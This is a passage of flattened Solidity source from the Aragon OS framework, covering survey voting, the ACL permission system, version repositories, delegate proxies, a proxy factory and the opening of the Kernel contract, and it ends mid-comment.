ERROR_VOTE_WRONG_INPUT); require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); _voteOptions(_surveyId, _optionIds, _stakes); } /** * @notice Vote option #`_optionId` in survey #`_surveyId`. * @dev Initialization check is implicitly provided by `surveyExists()` as new surveys can only * be created via `newSurvey(),` which requires initialization * @dev It will use the whole balance. * @param _surveyId Id for survey * @param _optionId Index of supported option */ function voteOption(uint256 _surveyId, uint256 _optionId) external surveyExists(_surveyId) { require(canVote(_surveyId, msg.sender), ERROR_CAN_NOT_VOTE); SurveyStruct storage survey = surveys[_surveyId]; // This could re-enter, though we can asume the governance token is not maliciuous uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); uint256[] memory options = new uint256[](1); uint256[] memory stakes = new uint256[](1); options[0] = _optionId; stakes[0] = voterStake; _voteOptions(_surveyId, options, stakes); } // Getter fns function canVote(uint256 _surveyId, address _voter) public view surveyExists(_surveyId) returns (bool) { SurveyStruct storage survey = surveys[_surveyId]; return _isSurveyOpen(survey) && token.balanceOfAt(_voter, survey.snapshotBlock) > 0; } function getSurvey(uint256 _surveyId) public view surveyExists(_surveyId) returns ( bool open, uint64 startDate, uint64 snapshotBlock, uint64 minParticipation, uint256 votingPower, uint256 participation, uint256 options ) { SurveyStruct storage survey = surveys[_surveyId]; open = _isSurveyOpen(survey); startDate = survey.startDate; snapshotBlock = survey.snapshotBlock; minParticipation = survey.minParticipationPct; votingPower = survey.votingPower; participation = survey.participation; options = survey.options; } /** * @dev This is not meant to be used on-chain */ /* solium-disable-next-line function-order */ function getVoterState(uint256 _surveyId, address _voter) external view surveyExists(_surveyId) returns (uint256[] options, uint256[] stakes) { MultiOptionVote storage vote = surveys[_surveyId].votes[_voter]; if (vote.optionsCastedLength == 0) { return (new uint256[](0), new uint256[](0)); } options = new uint256[](vote.optionsCastedLength + 1); stakes = new uint256[](vote.optionsCastedLength + 1); for (uint256 i = 0; i <= vote.optionsCastedLength; i++) { options[i] = vote.castedVotes[i].optionId; stakes[i] = vote.castedVotes[i].stake; } } function getOptionPower(uint256 _surveyId, uint256 _optionId) public view surveyExists(_surveyId) returns (uint256) { SurveyStruct storage survey = surveys[_surveyId]; require(_optionId <= survey.options, ERROR_NO_OPTION); return survey.optionPower[_optionId]; } function isParticipationAchieved(uint256 _surveyId) public view surveyExists(_surveyId) returns (bool) { SurveyStruct storage survey = surveys[_surveyId]; // votingPower is always > 0 uint256 participationPct = survey.participation.mul(PCT_BASE) / survey.votingPower; return participationPct >= survey.minParticipationPct; } // Internal fns /* * @dev Assumes the survey exists and that msg.sender can vote */ function _resetVote(uint256 _surveyId) internal { SurveyStruct storage survey = surveys[_surveyId]; MultiOptionVote storage previousVote = survey.votes[msg.sender]; if (previousVote.optionsCastedLength > 0) { // Voter removes their vote (index 0 is the abstain vote) for (uint256 i = 1; i <= previousVote.optionsCastedLength; i++) { OptionCast storage previousOptionCast = previousVote.castedVotes[i]; uint256 previousOptionPower = survey.optionPower[previousOptionCast.optionId]; uint256 currentOptionPower = previousOptionPower.sub(previousOptionCast.stake); survey.optionPower[previousOptionCast.optionId] = currentOptionPower; emit ResetVote(_surveyId, msg.sender, previousOptionCast.optionId, previousOptionCast.stake, currentOptionPower); } // Compute previously casted votes (i.e. substract non-used tokens from stake) uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); uint256 previousParticipation = voterStake.sub(previousVote.castedVotes[0].stake); // And remove it from total participation survey.participation = survey.participation.sub(previousParticipation); // Reset previously voted options delete survey.votes[msg.sender]; } } /* * @dev Assumes the survey exists and that msg.sender can vote */ function _voteOptions(uint256 _surveyId, uint256[] _optionIds, uint256[] _stakes) internal { SurveyStruct storage survey = surveys[_surveyId]; MultiOptionVote storage senderVotes = survey.votes[msg.sender]; // Revert previous votes, if any _resetVote(_surveyId); uint256 totalVoted = 0; // Reserve first index for ABSTAIN_VOTE senderVotes.castedVotes[0] = OptionCast({ optionId: ABSTAIN_VOTE, stake: 0 }); for (uint256 optionIndex = 1; optionIndex <= _optionIds.length; optionIndex++) { // Voters don't specify that they're abstaining, // but we still keep track of this by reserving the first index of a survey's votes. // We subtract 1 from the indexes of the arrays passed in by the voter to account for this. uint256 optionId = _optionIds[optionIndex - 1]; uint256 stake = _stakes[optionIndex - 1]; require(optionId != ABSTAIN_VOTE && optionId <= survey.options, ERROR_VOTE_WRONG_OPTION); require(stake > 0, ERROR_NO_STAKE); // Let's avoid repeating an option by making sure that ascending order is preserved in // the options array by checking that the current optionId is larger than the last one // we added require(senderVotes.castedVotes[optionIndex - 1].optionId < optionId, ERROR_OPTIONS_NOT_ORDERED); // Register voter amount senderVotes.castedVotes[optionIndex] = OptionCast({ optionId: optionId, stake: stake }); // Add to total option support survey.optionPower[optionId] = survey.optionPower[optionId].add(stake); // Keep track of stake used so far totalVoted = totalVoted.add(stake); emit CastVote(_surveyId, msg.sender, optionId, stake, survey.optionPower[optionId]); } // Compute and register non used tokens // Implictly we are doing require(totalVoted <= voterStake) too // (as stated before, index 0 is for ABSTAIN_VOTE option) uint256 voterStake = token.balanceOfAt(msg.sender, survey.snapshotBlock); senderVotes.castedVotes[0].stake = voterStake.sub(totalVoted); // Register number of options voted senderVotes.optionsCastedLength = _optionIds.length; // Add voter tokens to participation survey.participation = survey.participation.add(totalVoted); assert(survey.participation <= survey.votingPower); } function _isSurveyOpen(SurveyStruct storage _survey) internal view returns (bool) { return getTimestamp64() < _survey.startDate.add(surveyTime); } } // File: @aragon/os/contracts/acl/IACLOracle.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IACLOracle { function canPerform(address who, address where, bytes32 what, uint256[] how) external view returns (bool); } // File: @aragon/os/contracts/acl/ACL.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract ACL is IACL, TimeHelpers, AragonApp, ACLHelpers { /* Hardcoded constants to save gas bytes32 public constant CREATE_PERMISSIONS_ROLE = keccak256("CREATE_PERMISSIONS_ROLE"); */ bytes32 public constant CREATE_PERMISSIONS_ROLE = 0x0b719b33c83b8e5d300c521cb8b54ae9bd933996a14bef8c2f4e0285d2d2400a; enum Op { NONE, EQ, NEQ, GT, LT, GTE, LTE, RET, NOT, AND, OR, XOR, IF_ELSE } // op types struct Param { uint8 id; uint8 op; uint240 value; // even though value is an uint240 it can store addresses // in the case of 32 byte hashes losing 2 bytes precision isn't a huge deal // op and id take less than 1 byte each so it can be kept in 1 sstore } uint8 internal constant BLOCK_NUMBER_PARAM_ID = 200; uint8 internal constant TIMESTAMP_PARAM_ID = 201; // 202 is unused uint8 internal constant ORACLE_PARAM_ID = 203; uint8 internal constant LOGIC_OP_PARAM_ID = 204; uint8 internal constant PARAM_VALUE_PARAM_ID = 205; // TODO: Add execution times param type? /* Hardcoded constant to save gas bytes32 public constant EMPTY_PARAM_HASH = keccak256(uint256(0)); */ bytes32 public constant EMPTY_PARAM_HASH = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563; bytes32 public constant NO_PERMISSION = bytes32(0); address public constant ANY_ENTITY = address(-1); address public constant BURN_ENTITY = address(1); // address(0) is already used as "no permission manager" uint256 internal constant ORACLE_CHECK_GAS = 30000; string private constant ERROR_AUTH_INIT_KERNEL = "ACL_AUTH_INIT_KERNEL"; string private constant ERROR_AUTH_NO_MANAGER = "ACL_AUTH_NO_MANAGER"; string private constant ERROR_EXISTENT_MANAGER = "ACL_EXISTENT_MANAGER"; // Whether someone has a permission mapping (bytes32 => bytes32) internal permissions; // permissions hash => params hash mapping (bytes32 => Param[]) internal permissionParams; // params hash => params // Who is the manager of a permission mapping (bytes32 => address) internal permissionManager; event SetPermission(address indexed entity, address indexed app, bytes32 indexed role, bool allowed); event SetPermissionParams(address indexed entity, address indexed app, bytes32 indexed role, bytes32 paramsHash); event ChangePermissionManager(address indexed app, bytes32 indexed role, address indexed manager); modifier onlyPermissionManager(address _app, bytes32 _role) { require(msg.sender == getPermissionManager(_app, _role), ERROR_AUTH_NO_MANAGER); _; } modifier noPermissionManager(address _app, bytes32 _role) { // only allow permission creation (or re-creation) when there is no manager require(getPermissionManager(_app, _role) == address(0), ERROR_EXISTENT_MANAGER); _; } /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize an ACL instance and set `_permissionsCreator` as the entity that can create other permissions * @param _permissionsCreator Entity that will be given permission over createPermission */ function initialize(address _permissionsCreator) public onlyInit { initialized(); require(msg.sender == address(kernel()), ERROR_AUTH_INIT_KERNEL); _createPermission(_permissionsCreator, this, CREATE_PERMISSIONS_ROLE, _permissionsCreator); } /** * @dev Creates a permission that wasn't previously set and managed. * If a created permission is removed it is possible to reset it with createPermission. * This is the **ONLY** way to create permissions and set managers to permissions that don't * have a manager. * In terms of the ACL being initialized, this function implicitly protects all the other * state-changing external functions, as they all require the sender to be a manager. * @notice Create a new permission granting `_entity` the ability to perform actions requiring `_role` on `_app`, setting `_manager` as the permission's manager * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _manager Address of the entity that will be able to grant and revoke the permission further. */ function createPermission(address _entity, address _app, bytes32 _role, address _manager) external auth(CREATE_PERMISSIONS_ROLE) noPermissionManager(_app, _role) { _createPermission(_entity, _app, _role, _manager); } /** * @dev Grants permission if allowed. This requires `msg.sender` to be the permission manager * @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform */ function grantPermission(address _entity, address _app, bytes32 _role) external { grantPermissionP(_entity, _app, _role, new uint256[](0)); } /** * @dev Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager * @notice Grant `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _params Permission parameters */ function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params) public onlyPermissionManager(_app, _role) { bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH; _setPermission(_entity, _app, _role, paramsHash); } /** * @dev Revokes permission if allowed. This requires `msg.sender` to be the the permission manager * @notice Revoke from `_entity` the ability to perform actions requiring `_role` on `_app` * @param _entity Address of the whitelisted entity to revoke access from * @param _app Address of the app in which the role will be revoked * @param _role Identifier for the group of actions in app being revoked */ function revokePermission(address _entity, address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermission(_entity, _app, _role, NO_PERMISSION); } /** * @notice Set `_newManager` as the manager of `_role` in `_app` * @param _newManager Address for the new manager * @param _app Address of the app in which the permission management is being transferred * @param _role Identifier for the group of actions being transferred */ function setPermissionManager(address _newManager, address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(_newManager, _app, _role); } /** * @notice Remove the manager of `_role` in `_app` * @param _app Address of the app in which the permission is being unmanaged * @param _role Identifier for the group of actions being unmanaged */ function removePermissionManager(address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(address(0), _app, _role); } /** * @notice Burn non-existent `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager) * @param _app Address of the app in which the permission is being burned * @param _role Identifier for the group of actions being burned */ function createBurnedPermission(address _app, bytes32 _role) external auth(CREATE_PERMISSIONS_ROLE) noPermissionManager(_app, _role) { _setPermissionManager(BURN_ENTITY, _app, _role); } /** * @notice Burn `_role` in `_app`, so no modification can be made to it (grant, revoke, permission manager) * @param _app Address of the app in which the permission is being burned * @param _role Identifier for the group of actions being burned */ function burnPermissionManager(address _app, bytes32 _role) external onlyPermissionManager(_app, _role) { _setPermissionManager(BURN_ENTITY, _app, _role); } /** * @notice Get parameters for permission array length * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app * @param _role Identifier for a group of actions in app * @return Length of the array */ function getPermissionParamsLength(address _entity, address _app, bytes32 _role) external view returns (uint) { return permissionParams[permissions[permissionHash(_entity, _app, _role)]].length; } /** * @notice Get parameter for permission * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app * @param _role Identifier for a group of actions in app * @param _index Index of parameter in the array * @return Parameter (id, op, value) */ function getPermissionParam(address _entity, address _app, bytes32 _role, uint _index) external view returns (uint8, uint8, uint240) { Param storage param = permissionParams[permissions[permissionHash(_entity, _app, _role)]][_index]; return (param.id, param.op, param.value); } /** * @dev Get manager for permission * @param _app Address of the app * @param _role Identifier for a group of actions in app * @return address of the manager for the permission */ function getPermissionManager(address _app, bytes32 _role) public view returns (address) { return permissionManager[roleHash(_app, _role)]; } /** * @dev Function called by apps to check ACL on kernel or to check permission statu * @param _who Sender of the original call * @param _where Address of the app * @param _where Identifier for a group of actions in app * @param _how Permission parameters * @return boolean indicating whether the ACL allows the role or not */ function hasPermission(address _who, address _where, bytes32 _what, bytes memory _how) public view returns (bool) { return hasPermission(_who, _where, _what, ConversionHelpers.dangerouslyCastBytesToUintArray(_how)); } function hasPermission(address _who, address _where, bytes32 _what, uint256[] memory _how) public view returns (bool) { bytes32 whoParams = permissions[permissionHash(_who, _where, _what)]; if (whoParams != NO_PERMISSION && evalParams(whoParams, _who, _where, _what, _how)) { return true; } bytes32 anyParams = permissions[permissionHash(ANY_ENTITY, _where, _what)]; if (anyParams != NO_PERMISSION && evalParams(anyParams, ANY_ENTITY, _where, _what, _how)) { return true; } return false; } function hasPermission(address _who, address _where, bytes32 _what) public view returns (bool) { uint256[] memory empty = new uint256[](0); return hasPermission(_who, _where, _what, empty); } function evalParams( bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how ) public view returns (bool) { if (_paramsHash == EMPTY_PARAM_HASH) { return true; } return _evalParam(_paramsHash, 0, _who, _where, _what, _how); } /** * @dev Internal createPermission for access inside the kernel (on instantiation) */ function _createPermission(address _entity, address _app, bytes32 _role, address _manager) internal { _setPermission(_entity, _app, _role, EMPTY_PARAM_HASH); _setPermissionManager(_manager, _app, _role); } /** * @dev Internal function called to actually save the permission */ function _setPermission(address _entity, address _app, bytes32 _role, bytes32 _paramsHash) internal { permissions[permissionHash(_entity, _app, _role)] = _paramsHash; bool entityHasPermission = _paramsHash != NO_PERMISSION; bool permissionHasParams = entityHasPermission && _paramsHash != EMPTY_PARAM_HASH; emit SetPermission(_entity, _app, _role, entityHasPermission); if (permissionHasParams) { emit SetPermissionParams(_entity, _app, _role, _paramsHash); } } function _saveParams(uint256[] _encodedParams) internal returns (bytes32) { bytes32 paramHash = keccak256(abi.encodePacked(_encodedParams)); Param[] storage params = permissionParams[paramHash]; if (params.length == 0) { // params not saved before for (uint256 i = 0; i < _encodedParams.length; i++) { uint256 encodedParam = _encodedParams[i]; Param memory param = Param(decodeParamId(encodedParam), decodeParamOp(encodedParam), uint240(encodedParam)); params.push(param); } } return paramHash; } function _evalParam( bytes32 _paramsHash, uint32 _paramId, address _who, address _where, bytes32 _what, uint256[] _how ) internal view returns (bool) { if (_paramId >= permissionParams[_paramsHash].length) { return false; // out of bounds } Param memory param = permissionParams[_paramsHash][_paramId]; if (param.id == LOGIC_OP_PARAM_ID) { return _evalLogic(param, _paramsHash, _who, _where, _what, _how); } uint256 value; uint256 comparedTo = uint256(param.value); // get value if (param.id == ORACLE_PARAM_ID) { value = checkOracle(IACLOracle(param.value), _who, _where, _what, _how) ? 1 : 0; comparedTo = 1; } else if (param.id == BLOCK_NUMBER_PARAM_ID) { value = getBlockNumber(); } else if (param.id == TIMESTAMP_PARAM_ID) { value = getTimestamp(); } else if (param.id == PARAM_VALUE_PARAM_ID) { value = uint256(param.value); } else { if (param.id >= _how.length) { return false; } value = uint256(uint240(_how[param.id])); // force lost precision } if (Op(param.op) == Op.RET) { return uint256(value) > 0; } return compare(value, Op(param.op), comparedTo); } function _evalLogic(Param _param, bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) { if (Op(_param.op) == Op.IF_ELSE) { uint32 conditionParam; uint32 successParam; uint32 failureParam; (conditionParam, successParam, failureParam) = decodeParamsList(uint256(_param.value)); bool result = _evalParam(_paramsHash, conditionParam, _who, _where, _what, _how); return _evalParam(_paramsHash, result ? successParam : failureParam, _who, _where, _what, _how); } uint32 param1; uint32 param2; (param1, param2,) = decodeParamsList(uint256(_param.value)); bool r1 = _evalParam(_paramsHash, param1, _who, _where, _what, _how); if (Op(_param.op) == Op.NOT) { return !r1; } if (r1 && Op(_param.op) == Op.OR) { return true; } if (!r1 && Op(_param.op) == Op.AND) { return false; } bool r2 = _evalParam(_paramsHash, param2, _who, _where, _what, _how); if (Op(_param.op) == Op.XOR) { return r1 != r2; } return r2; // both or and and depend on result of r2 after checks } function compare(uint256 _a, Op _op, uint256 _b) internal pure returns (bool) { if (_op == Op.EQ) return _a == _b; // solium-disable-line lbrace if (_op == Op.NEQ) return _a != _b; // solium-disable-line lbrace if (_op == Op.GT) return _a > _b; // solium-disable-line lbrace if (_op == Op.LT) return _a < _b; // solium-disable-line lbrace if (_op == Op.GTE) return _a >= _b; // solium-disable-line lbrace if (_op == Op.LTE) return _a <= _b; // solium-disable-line lbrace return false; } function checkOracle(IACLOracle _oracleAddr, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) { bytes4 sig = _oracleAddr.canPerform.selector; // a raw call is required so we can return false if the call reverts, rather than reverting bytes memory checkCalldata = abi.encodeWithSelector(sig, _who, _where, _what, _how); uint256 oracleCheckGas = ORACLE_CHECK_GAS; bool ok; assembly { ok := staticcall(oracleCheckGas, _oracleAddr, add(checkCalldata, 0x20), mload(checkCalldata), 0, 0) } if (!ok) { return false; } uint256 size; assembly { size := returndatasize } if (size != 32) { return false; } bool result; assembly { let ptr := mload(0x40) // get next free memory ptr returndatacopy(ptr, 0, size) // copy return from above `staticcall` result := mload(ptr) // read data at ptr and set it to result mstore(ptr, 0) // set pointer memory to 0 so it still is the next free ptr } return result; } /** * @dev Internal function that sets management */ function _setPermissionManager(address _newManager, address _app, bytes32 _role) internal { permissionManager[roleHash(_app, _role)] = _newManager; emit ChangePermissionManager(_app, _role, _newManager); } function roleHash(address _where, bytes32 _what) internal pure returns (bytes32) { return keccak256(abi.encodePacked("ROLE", _where, _what)); } function permissionHash(address _who, address _where, bytes32 _what) internal pure returns (bytes32) { return keccak256(abi.encodePacked("PERMISSION", _who, _where, _what)); } } // File: @aragon/os/contracts/apm/Repo.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract Repo is AragonApp { /* Hardcoded constants to save gas bytes32 public constant CREATE_VERSION_ROLE = keccak256("CREATE_VERSION_ROLE"); */ bytes32 public constant CREATE_VERSION_ROLE = 0x1f56cfecd3595a2e6cc1a7e6cb0b20df84cdbd92eff2fee554e70e4e45a9a7d8; string private constant ERROR_INVALID_BUMP = "REPO_INVALID_BUMP"; string private constant ERROR_INVALID_VERSION = "REPO_INVALID_VERSION"; string private constant ERROR_INEXISTENT_VERSION = "REPO_INEXISTENT_VERSION"; struct Version { uint16[3] semanticVersion; address contractAddress; bytes contentURI; } uint256 internal versionsNextIndex; mapping (uint256 => Version) internal versions; mapping (bytes32 => uint256) internal versionIdForSemantic; mapping (address => uint256) internal latestVersionIdForContract; event NewVersion(uint256 versionId, uint16[3] semanticVersion); /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize this Repo */ function initialize() public onlyInit { initialized(); versionsNextIndex = 1; } /** * @notice Create new version with contract `_contractAddress` and content `@fromHex(_contentURI)` * @param _newSemanticVersion Semantic version for new repo version * @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress) * @param _contentURI External URI for fetching new version's content */ function newVersion( uint16[3] _newSemanticVersion, address _contractAddress, bytes _contentURI ) public auth(CREATE_VERSION_ROLE) { address contractAddress = _contractAddress; uint256 lastVersionIndex = versionsNextIndex - 1; uint16[3] memory lastSematicVersion; if (lastVersionIndex > 0) { Version storage lastVersion = versions[lastVersionIndex]; lastSematicVersion = lastVersion.semanticVersion; if (contractAddress == address(0)) { contractAddress = lastVersion.contractAddress; } // Only allows smart contract change on major version bumps require( lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0], ERROR_INVALID_VERSION ); } require(isValidBump(lastSematicVersion, _newSemanticVersion), ERROR_INVALID_BUMP); uint256 versionId = versionsNextIndex++; versions[versionId] = Version(_newSemanticVersion, contractAddress, _contentURI); versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId; latestVersionIdForContract[contractAddress] = versionId; emit NewVersion(versionId, _newSemanticVersion); } function getLatest() public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versionsNextIndex - 1); } function getLatestForContractAddress(address _contractAddress) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(latestVersionIdForContract[_contractAddress]); } function getBySemanticVersion(uint16[3] _semanticVersion) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versionIdForSemantic[semanticVersionHash(_semanticVersion)]); } function getByVersionId(uint _versionId) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { require(_versionId > 0 && _versionId < versionsNextIndex, ERROR_INEXISTENT_VERSION); Version storage version = versions[_versionId]; return (version.semanticVersion, version.contractAddress, version.contentURI); } function getVersionsCount() public view returns (uint256) { return versionsNextIndex - 1; } function isValidBump(uint16[3] _oldVersion, uint16[3] _newVersion) public pure returns (bool) { bool hasBumped; uint i = 0; while (i < 3) { if (hasBumped) { if (_newVersion[i] != 0) { return false; } } else if (_newVersion[i] != _oldVersion[i]) { if (_oldVersion[i] > _newVersion[i] || _newVersion[i] - _oldVersion[i] != 1) { return false; } hasBumped = true; } i++; } return hasBumped; } function semanticVersionHash(uint16[3] version) internal pure returns (bytes32) { return keccak256(abi.encodePacked(version[0], version[1], version[2])); } } // File: @aragon/os/contracts/apm/APMNamehash.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract APMNamehash { /* Hardcoded constants to save gas bytes32 internal constant APM_NODE = keccak256(abi.encodePacked(ETH_TLD_NODE, keccak256(abi.encodePacked("aragonpm")))); */ bytes32 internal constant APM_NODE = 0x9065c3e7f7b7ef1ef4e53d2d0b8e0cef02874ab020c1ece79d5f0d3d0111c0ba; function apmNamehash(string name) internal pure returns (bytes32) { return keccak256(abi.encodePacked(APM_NODE, keccak256(bytes(name)))); } } // File: @aragon/os/contracts/kernel/KernelStorage.sol pragma solidity 0.4.24; contract KernelStorage { // namespace => app id => address mapping (bytes32 => mapping (bytes32 => address)) public apps; bytes32 public recoveryVaultAppId; } // File: @aragon/os/contracts/lib/misc/ERCProxy.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ERCProxy { uint256 internal constant FORWARDING = 1; uint256 internal constant UPGRADEABLE = 2; function proxyType() public pure returns (uint256 proxyTypeId); function implementation() public view returns (address codeAddr); } // File: @aragon/os/contracts/common/DelegateProxy.sol pragma solidity 0.4.24; contract DelegateProxy is ERCProxy, IsContract { uint256 internal constant FWD_GAS_LIMIT = 10000; /** * @dev Performs a delegatecall and returns whatever the delegatecall returned (entire context execution will return!) * @param _dst Destination address to perform the delegatecall * @param _calldata Calldata for the delegatecall */ function delegatedFwd(address _dst, bytes _calldata) internal { require(isContract(_dst)); uint256 fwdGasLimit = FWD_GAS_LIMIT; assembly { let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } // File: @aragon/os/contracts/common/DepositableDelegateProxy.sol pragma solidity 0.4.24; contract DepositableDelegateProxy is DepositableStorage, DelegateProxy { event ProxyDeposit(address sender, uint256 value); function () external payable { // send / transfer if (gasleft() < FWD_GAS_LIMIT) { require(msg.value > 0 && msg.data.length == 0); require(isDepositable()); emit ProxyDeposit(msg.sender, msg.value); } else { // all calls except for send or transfer address target = implementation(); delegatedFwd(target, msg.data); } } } // File: @aragon/os/contracts/apps/AppProxyBase.sol pragma solidity 0.4.24; contract AppProxyBase is AppStorage, DepositableDelegateProxy, KernelNamespaceConstants { /** * @dev Initialize AppProxy * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public { setKernel(_kernel); setAppId(_appId); // Implicit check that kernel is actually a Kernel // The EVM doesn't actually provide a way for us to make sure, but we can force a revert to // occur if the kernel is set to 0x0 or a non-code address when we try to call a method on // it. address appCode = getAppBase(_appId); // If initialize payload is provided, it will be executed if (_initializePayload.length > 0) { require(isContract(appCode)); // Cannot make delegatecall as a delegateproxy.delegatedFwd as it // returns ending execution context and halts contract deployment require(appCode.delegatecall(_initializePayload)); } } function getAppBase(bytes32 _appId) internal view returns (address) { return kernel().getApp(KERNEL_APP_BASES_NAMESPACE, _appId); } } // File: @aragon/os/contracts/apps/AppProxyUpgradeable.sol pragma solidity 0.4.24; contract AppProxyUpgradeable is AppProxyBase { /** * @dev Initialize AppProxyUpgradeable (makes it an upgradeable Aragon app) * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) AppProxyBase(_kernel, _appId, _initializePayload) public // solium-disable-line visibility-first { // solium-disable-previous-line no-empty-blocks } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return getAppBase(appId()); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return UPGRADEABLE; } } // File: @aragon/os/contracts/apps/AppProxyPinned.sol pragma solidity 0.4.24; contract AppProxyPinned is IsContract, AppProxyBase { using UnstructuredStorage for bytes32; // keccak256("aragonOS.appStorage.pinnedCode") bytes32 internal constant PINNED_CODE_POSITION = 0xdee64df20d65e53d7f51cb6ab6d921a0a6a638a91e942e1d8d02df28e31c038e; /** * @dev Initialize AppProxyPinned (makes it an un-upgradeable Aragon app) * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) AppProxyBase(_kernel, _appId, _initializePayload) public // solium-disable-line visibility-first { setPinnedCode(getAppBase(_appId)); require(isContract(pinnedCode())); } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return pinnedCode(); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return FORWARDING; } function setPinnedCode(address _pinnedCode) internal { PINNED_CODE_POSITION.setStorageAddress(_pinnedCode); } function pinnedCode() internal view returns (address) { return PINNED_CODE_POSITION.getStorageAddress(); } } // File: @aragon/os/contracts/factory/AppProxyFactory.sol pragma solidity 0.4.24; contract AppProxyFactory { event NewAppProxy(address proxy, bool isUpgradeable, bytes32 appId); /** * @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyUpgradeable */ function newAppProxy(IKernel _kernel, bytes32 _appId) public returns (AppProxyUpgradeable) { return newAppProxy(_kernel, _appId, new bytes(0)); } /** * @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyUpgradeable */ function newAppProxy(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyUpgradeable) { AppProxyUpgradeable proxy = new AppProxyUpgradeable(_kernel, _appId, _initializePayload); emit NewAppProxy(address(proxy), true, _appId); return proxy; } /** * @notice Create a new pinned app instance on `_kernel` with identifier `_appId` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyPinned */ function newAppProxyPinned(IKernel _kernel, bytes32 _appId) public returns (AppProxyPinned) { return newAppProxyPinned(_kernel, _appId, new bytes(0)); } /** * @notice Create a new pinned app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @param _initializePayload Proxy initialization payload * @return AppProxyPinned */ function newAppProxyPinned(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyPinned) { AppProxyPinned proxy = new AppProxyPinned(_kernel, _appId, _initializePayload); emit NewAppProxy(address(proxy), false, _appId); return proxy; } } // File: @aragon/os/contracts/kernel/Kernel.sol pragma solidity 0.4.24; // solium-disable-next-line max-len contract Kernel is IKernel, KernelStorage, KernelAppIds, KernelNamespaceConstants, Petrifiable, IsContract, VaultRecoverable, AppProxyFactory, ACLSyntaxSugar { /* Hardcoded constants to save gas bytes32 public constant APP_MANAGER_ROLE = keccak256("APP_MANAGER_ROLE"); */ bytes32 public constant APP_MANAGER_ROLE = 0xb6d92708f3d4817afc106147d969e229ced5c46e65e0a5002a0d391287762bd0; string private constant ERROR_APP_NOT_CONTRACT = "KERNEL_APP_NOT_CONTRACT"; string private constant ERROR_INVALID_APP_CHANGE = "KERNEL_INVALID_APP_CHANGE"; string private constant ERROR_AUTH_FAILED = "KERNEL_AUTH_FAILED"; /** * @dev Constructor that allows the deployer to choose if the base instance should be petrified immediately. * @param _shouldPetrify Immediately petrify this instance so that it can never be initialized 